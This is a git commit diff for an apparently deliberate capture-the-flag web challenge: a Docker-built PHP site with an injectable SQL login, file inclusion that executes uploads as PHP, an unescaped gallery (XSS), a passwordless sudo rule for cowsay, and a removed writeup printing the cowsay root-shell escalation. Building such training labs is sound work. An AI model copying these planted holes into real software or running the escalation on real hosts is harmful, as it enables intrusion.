* changes

This commit is contained in:
0d0a00 2025-09-23 18:59:27 +02:00
parent 9d966c0f67
commit 6233a7542a
37 changed files with 480 additions and 184 deletions

View File

@ -15,55 +15,11 @@ cd docker
sudo docker compose up --build
```
### Building and running the docker image
_todo_
```
```
## Writeup
### Enum
Scan the IP using nmap for open ports
```
nmap -p- ip
```
The port 22 and 31337 are open.
We find that there is a web service on port 31337.
### Foothold
...
### Privesc
We can see that the user is allowed tu run `/usr/games/cowsay` as root using sudo without password.
```
User l33t may run the following commands on srv1prod:
(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l
```
Using gtfo bins, we identified that we can spawn a root shell thanks to this misconfiguration.
[https://gtfobins.github.io/gtfobins/cowsay/](https://gtfobins.github.io/gtfobins/cowsay/)
```
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
sudo cowsay -f $TF x
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
epita{th3-sup3r-c0ws4y}
```
Solved !

View File

@ -1,9 +1,17 @@
CREATE DATABASE IF NOT EXISTS app;
USE app;
CREATE USER 'ctf'@'%' IDENTIFIED WITH mysql_native_password BY '39gknzLD';
GRANT ALL PRIVILEGES ON app.* TO 'ctf'@'%';
FLUSH PRIVILEGES;
CREATE TABLE users
(
user_id int PRIMARY KEY,
username varchar(25) NOT NULL,
pass varchar(80) NOT NULL
user_id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(25) NOT NULL,
pass VARCHAR(80) NOT NULL
);
-- cleartext pass ? but why of course
INSERT INTO users (user_id,username,pass)
VALUES (0,'admin','X82v7>P./~vC');

1
config/codes.txt Normal file
View File

@ -0,0 +1 @@
ODQxOTU=

View File

@ -1 +1 @@
l33t:h4x0r
agent:1c0b76fce779f78f51be339c49445c49

View File

@ -14,21 +14,27 @@ RUN apt update && apt upgrade -y && \
supervisor \
openssh-server \
sudo \
php-mysql\
cowsay \
php \
iputils-ping \
&& rm -rf /var/lib/apt/lists/*
# the user players will need to have access as
RUN useradd -m -s /bin/bash l33t \
&& echo "l33t:h4x0r" | chpasswd
RUN useradd -m -s /bin/bash agent \
&& echo "agent:secure" | chpasswd
# apache2 config to change default 80 port to 31337
# apache2 config to change default 80 port to 8080
RUN sed -i 's/^Listen 80/Listen 31337/' /etc/apache2/ports.conf
RUN sed -i 's/^Listen 80/Listen 8080/' /etc/apache2/ports.conf
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:31337>/' /etc/apache2/sites-available/000-default.conf
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:8080>/' /etc/apache2/sites-available/000-default.conf
# remove default apache2 index.html
RUN rm /var/www/html/index.html
# enable php module
RUN ls /etc/apache2/mods-enabled/
@ -38,33 +44,39 @@ RUN a2enmod php*
COPY ./www/ /var/www/html/
# give upload permissions to the www-data user
RUN chown -R www-data:www-data /var/www/html/confidential/uploads && chmod -R 755 /var/www/html/confidential/uploads
# give permissions to access the agent user to www-data
RUN usermod -aG agent www-data && chmod 750 /home/agent
RUN mkdir /var/run/sshd
# (suggestion)
# for the privesc, cowsay allowed to be ran with sudo without password
# https://gtfobins.github.io/gtfobins/cowsay/
RUN printf 'l33t ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/l33t && \
chmod 0440 /etc/sudoers.d/l33t && \
visudo -cf /etc/sudoers.d/l33t
RUN printf 'agent ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/agent && \
chmod 0440 /etc/sudoers.d/agent && \
visudo -cf /etc/sudoers.d/agent
# copy the l33t user creds and set 777 suid
# copy the agent user creds and set 777 suid
COPY ./config/creds.txt /home/l33t/
RUN chmod 777 /home/l33t/creds.txt
COPY ./config/creds.txt /home/agent/
RUN chmod 777 /home/agent/creds.txt
# copy the flags and set suid
# copy the secret codes and set suid
COPY ./flags/user.txt /home/l33t/
RUN chown l33t:l33t /home/l33t/user.txt
COPY ./config/codes.txt /root/
COPY ./flags/root.txt /root/
RUN chown root:root /root/root.txt
RUN chown root:root /root/codes.txt
# 22 port -> ssh, 31337 port (suggestion) -> vulnerable webserver players need to find using nmap port scans
# 22 port -> ssh, 8080 port -> webserver
EXPOSE 22
EXPOSE 31337
EXPOSE 8080
# config of supervisord to have both apache2 and sshd services running

View File

@ -5,7 +5,7 @@ services:
MYSQL_ROOT_PASSWORD: 39gknzLD
MYSQL_DATABASE: app
volumes:
- $PWD/config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
- ../config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
ports:
- "3306:3306"
app:

3
fiveserver.config.js Normal file
View File

@ -0,0 +1,3 @@
module.exports = {
php: "/usr/bin/php"
}

View File

@ -1 +0,0 @@
epita{th3-sup3r-c0ws4y}

View File

@ -1 +0,0 @@
epita{th3-tUx-g4ll3ry-1snT-4s-s3cUr3-4ft3r-4ll}

23
www/admin/loadnote.php Normal file
View File

@ -0,0 +1,23 @@
<?php
session_start();
$uploadsDir = __DIR__ . '/../confidential/uploads/';
if(empty($_SESSION['username'])) {
exit('Access denied.');
}
if(!empty($_POST['file'])) {
$file = basename($_POST['file']); // prevent directory traversal
$path = $uploadsDir . $file;
if(file_exists($path)) {
ob_start();
include $path; // PHP executes here
echo ob_get_clean();
} else {
echo "File not found.";
}
} else {
echo "No file specified.";
}
?>

129
www/admin/securenotes.php Normal file
View File

@ -0,0 +1,129 @@
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
if (empty($_SESSION['username'])) {
header('Location: /index.php');
exit();
}
// Directory for notes
$uploadsDir = __DIR__ . '/../confidential/uploads/';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NFD | SECURE NOTES</title>
<link rel="stylesheet" href="/static/css/stylesheet.css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
</head>
<body>
<?php include '../include/nav.php' ?>
<div class="wrapper">
<form id="uploadForm" method="POST" enctype="multipart/form-data">
<h1>Upload notes securely here from each operation.</h1>
<i>Notes must be in .txt</i>
<hr>
<label for="file">Note</label>
<input type="file" id="file" name="file">
<br><br>
<input type="submit" class="btn btn-primary" value="Upload!">
</form>
<!-- Status message -->
<div id="statusMessage" class="mt-2"></div>
<hr>
<!-- Notes container -->
<div class="note-listing d-flex flex-wrap gap-3 justify-content-center" id="notesContainer">
<?php
// Render all notes
foreach (new DirectoryIterator($uploadsDir) as $file) {
if($file->isDot() || $file->isDir()) continue;
$fileName = $file->getFilename();
if (!preg_match('/\.(txt|php)$/i', $fileName)) continue;
?>
<div class="note-card text-center p-3" style="cursor:pointer;"
data-bs-toggle="modal"
data-bs-target="#noteModal"
data-filename="<?= htmlspecialchars($fileName) ?>">
<img src="/static/img/note-icon.png" alt="Note Icon" class="note-icon mb-2">
<div class="note-title"><?= htmlspecialchars($fileName) ?></div>
</div>
<?php } ?>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="noteModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered modal-lg">
<div class="modal-content bg-dark text-white">
<div class="modal-header">
<h5 class="modal-title" id="noteModalLabel"></h5>
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body" id="noteModalBody">Loading...</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Execute PHP on modal open
$('#noteModal').on('show.bs.modal', function (event) {
let button = $(event.relatedTarget);
let fileName = button.data('filename');
let modal = $(this);
modal.find('.modal-title').text(fileName);
modal.find('#noteModalBody').text('Loading...');
$.post('/admin/loadnote.php', { file: fileName }, function(response){
modal.find('#noteModalBody').html(response);
});
});
// AJAX upload form
$('#uploadForm').submit(function(e) {
e.preventDefault();
let formData = new FormData(this);
$.ajax({
url: '/admin/uploadnote.php',
type: 'POST',
data: formData,
contentType: false,
processData: false,
success: function(response) {
$('#statusMessage').html(response);
// Reload notes listing
$.ajax({
url: '/admin/securenotes.php',
type: 'GET',
dataType: 'html',
success: function(data) {
// Extract only the notes container HTML
let notesHtml = $(data).find('#notesContainer').html();
$('#notesContainer').html(notesHtml);
}
});
},
error: function() {
$('#statusMessage').html("<div class='text-danger'>Upload failed.</div>");
}
});
});
</script>
</body>
</html>

28
www/admin/uploadnote.php Normal file
View File

@ -0,0 +1,28 @@
<?php
session_start();
$destdir = __DIR__ . '/../confidential/uploads/';
$status = '';
if (empty($_SESSION['username'])) exit('Access denied.');
if (!empty($_FILES['file'])) {
$tmpName = $_FILES['file']['tmp_name'];
$fileName = basename($_FILES['file']['name']);
if (preg_match('/\.(txt)$/i', $fileName)) {
if (is_uploaded_file($tmpName)) {
if (move_uploaded_file($tmpName, $destdir . $fileName)) {
$status = "<div class='text-success'>File uploaded!</div>";
} else {
$status = "<div class='text-danger'>An error occurred.</div>";
}
} else {
$status = "<div class='text-danger'>An error occurred.</div>";
}
} else {
$status = "<div class='text-danger'>Invalid file type!</div>";
}
}
echo $status;
?>

View File

@ -0,0 +1 @@
foobar

View File

@ -0,0 +1 @@
foobar

View File

@ -0,0 +1 @@
foobar

49
www/gallery.php Normal file
View File

@ -0,0 +1,49 @@
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
?>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tux gallery !</title>
<link rel="stylesheet" href="static/css/stylesheet.css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
</head>
<body>
<?php include 'include/nav.php'?>
<div class="wrapper">
<section class="info-part">
<h1>Tux gallery</h1>
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
<?php if (empty($_SESSION['username'])): ?>
You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.
<?php else: ?>
First navigate to the <a href="admin/upload.php">upload.php</a> page and upload your tux image from there!
<?php endif; ?>
</section>
<hr>
<section class="gallery-part">
<div class="gallery">
<?php
foreach (new DirectoryIterator('static/img/gallery') as $file) {
if($file->isDot()) continue;
print '<img class="tux-img" src="/static/img/gallery/'. $file->getFilename() . '" onerror="this.onerror=null;this.src=`/static/img/fallback.png`;" data-original="/static/img/gallery/'. $file->getFilename() .'">'; // to do, is there an 'fstring' like for php ? just like in python
} // xss ? i call it a feature
?>
</div>
</section>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
<script>
window.addEventListener("load", () => {
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
img.addEventListener('click', function() {
window.open(img.dataset.original);
});
});
});
</script>
</body>
</html>

View File

@ -1,13 +1,18 @@
<?php
echo "<nav class='navbar navbar-expand-lg navbar-light bg-light'>
<a class='navbar-brand' href='index.php'><img alt='logo' class='logo' src='static/img/logo.jpg'>Tux Gallery </a>
<div class='collapse navbar-collapse' id='navbarSupportedContent'>
<ul class='navbar-nav mr-auto'>
<li class='nav-item'>
<a class='nav-link' href='login.php'>Login</a>
</li>
</div>
</nav>";
$username = $_SESSION['username'] ?? null;
?>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<a class="navbar-brand" href="/index.php">
<img alt="logo" class="logo" src="/static/img/logo.gif" style="height:28px; margin-right:8px;">
National Defense Force
</a>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto">
<?php if ($username): ?>
<li class="nav-item"><a class="nav-link" href="/admin/upload.php">Dashboard</a></li>
<li class="nav-item"><a class="nav-link" href="/logout.php">Disconnect</a></li>
<?php endif; ?>
</ul>
</div>
</nav>

View File

@ -1,40 +1,63 @@
<!DOCTYPE html>
<html lang="en">
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
if (!empty($_SESSION['username'])) {
header('Location: /admin/securenotes.php');
exit();
}
?>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tux gallery !</title>
<link rel="stylesheet" href="static/css/stylesheet.css">
<title>NDF | LOGIN</title>
<link rel="stylesheet" href="/static/css/stylesheet.css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
</head>
<body>
<?php include 'include/nav.php'?>
<div class="wrapper">
<section class="info-part">
<h1>Tux gallery</h1>
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
<p>You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.</p>
</section>
<section class="gallery-part">
<div class="gallery">
<?php
foreach (new DirectoryIterator('static/img/gallery') as $file) {
if($file->isDot()) continue;
print '<img class="tux-img" src="static/img/gallery/'. $file->getFilename() . '">'; // to do, is there an 'fstring' like for php ? just like in python
} // xss ? i call it a feature
<div class="header-bar"></div>
<form id="loginForm" method="POST" action="index.php">
<h1>NDF ACCESS</h1>
<label for="username">Username</label>
<input type="text" id="username" name="username" required>
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
<input type="submit" value="Login">
<?php
if (!empty($_POST)) {
$name = $_POST['username'];
$password = $_POST['password'];
if (empty($name)) {
echo '<div class="error-message">Username is empty.</div>';
} else {
$servername = "db";
$username = "ctf";
$password_db = "39gknzLD";
$dbname = "app";
$conn = new mysqli($servername, $username, $password_db, $dbname);
$sql = "SELECT username, pass FROM users WHERE username='$name' AND pass='$password'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
session_regenerate_id(true);
$_SESSION['username'] = $name;
header('Location: /admin/securenotes.php');
exit();
} else {
echo '<div class="error-message">Wrong username or password!</div>';
}
}
}
?>
</div>
</section>
</form>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
<script>
window.addEventListener("load", (event) => {
console.log(document.getElementsByClassName("tux-img"))
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
img.addEventListener('click',function(){window.open(img.src)})
});
});
</script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
</body>
</html>

View File

@ -1,52 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tux gallery !</title>
<link rel="stylesheet" href="static/css/stylesheet.css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
</head>
<body>
<?php include 'include/nav.php'?>
<div class="wrapper">
<form id="loginForm" method="POST" action="login.php">
<h1>Login</h1>
<p>Note : The register feature is not implemented yet !</p>
<label for="username">Username</label>
<input type="text" id="username" name="username">
<label for="password">Password</label>
<input type="password" id="password" name="password">
<input type="button" class="btn btn-primary" value="Login">
</form>
</div>
<?php
// to do :
// connect to mysql db
// add sqli vulnerable login functionnality
// ??
// profit
$servername = "db";
$username = "root";
$password = "39gknzLD";
$conn = new mysqli($servername, $username, $password);
if (! empty($_POST)) {
$name = $_POST['username'];
$password = $_POST['password'];
if (empty($name)) {
echo "Username is empty.";
} else {
$sql = 'SELECT username,pass FROM users WHERE username=' . $name . ' AND pass=' . $password; // sqli here
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "CONNECTED" // do redirect to upload page
} else {
echo "Wrong username or password !";
}
}
}
?>
</body>
</html>

14
www/logout.php Normal file
View File

@ -0,0 +1,14 @@
<?php
session_start();
$_SESSION = [];
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
session_destroy();
header('Location: index.php');
exit();

View File

@ -4,42 +4,138 @@
height:50px;
width:auto;
}
.wrapper {
display:block;
margin-left:15%;
margin-right:15%;
}
.info-part{
margin-left:15%;
margin-right:15%;
}
.gallery img{
max-width:250px;
max-height:250px;
}
.gallery{
padding:10px;
background-color:black;
display:grid;
grid-template-columns: auto auto auto auto;
}
#loginForm{
display:grid;
margin-right:30%;
margin-left:30%;
gap:5px;
}
body {
margin: 0;
height: 100vh;
font-family: 'Arial', sans-serif;
color: #f1f1f1;
.tux-img{
cursor:pointer;
transition: all 0.1s ease-in-out;
border:2px solid white;
overflow: hidden;
}
.tux-img:hover{
border:2px solid rgb(255, 196, 0);
body::before {
content: "";
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
background: url('../../static/img/background.gif') center center / cover no-repeat;
z-index: -2;
}
body::after {
content: "";
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
background-color: rgba(0, 0, 0, 0.85);
z-index: -1;
}
.wrapper {
margin-left:auto;
margin-right:auto;
margin-top:10%;
margin-bottom:auto;
background-color: #1a1a1a;
padding: 30px;
color:white;
border-radius: 8px;
box-shadow: 0 0 20px rgba(0,0,0,0.8);
width: 800px;
}
h1 {
text-align: center;
margin-bottom: 30px;
font-family: 'Courier New', Courier, monospace;
letter-spacing: 2px;
}
label {
font-weight: bold;
margin-top: 15px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 10px;
margin-top: 5px;
background-color: #0f0f0f;
border: 1px solid #333;
border-radius: 4px;
color: #f1f1f1;
}
input[type="submit"] {
width: 100%;
padding: 10px;
margin-top: 20px;
background-color: #d32f2f;
border: none;
border-radius: 4px;
color: #fff;
font-weight: bold;
cursor: pointer;
transition: background-color 0.3s;
}
input[type="submit"]:hover {
background-color: #a12a2a;
}
.header-bar {
width: 100%;
height: 5px;
background-color: #d32f2f;
margin-bottom: 20px;
border-radius: 2px;
}
.error-message {
color: #ff4d4d;
margin-top: 10px;
font-size: 0.9em;
text-align: center;
}
.note-listing {
margin-top: 20px;
}
.note-card {
width: 120px;
background-color: #2a2a2a;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.6);
transition: transform 0.2s, box-shadow 0.2s;
}
.note-card:hover {
transform: translateY(-5px);
box-shadow: 0 0 15px rgba(211, 47, 47, 0.8);
}
.note-icon {
width: 50px;
height: 50px;
}
.note-title {
font-size: 0.9rem;
margin-top: 5px;
word-break: break-word;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

BIN
www/static/img/fallback.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 106 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 205 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 378 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 483 KiB

BIN
www/static/img/logo.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 635 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

View File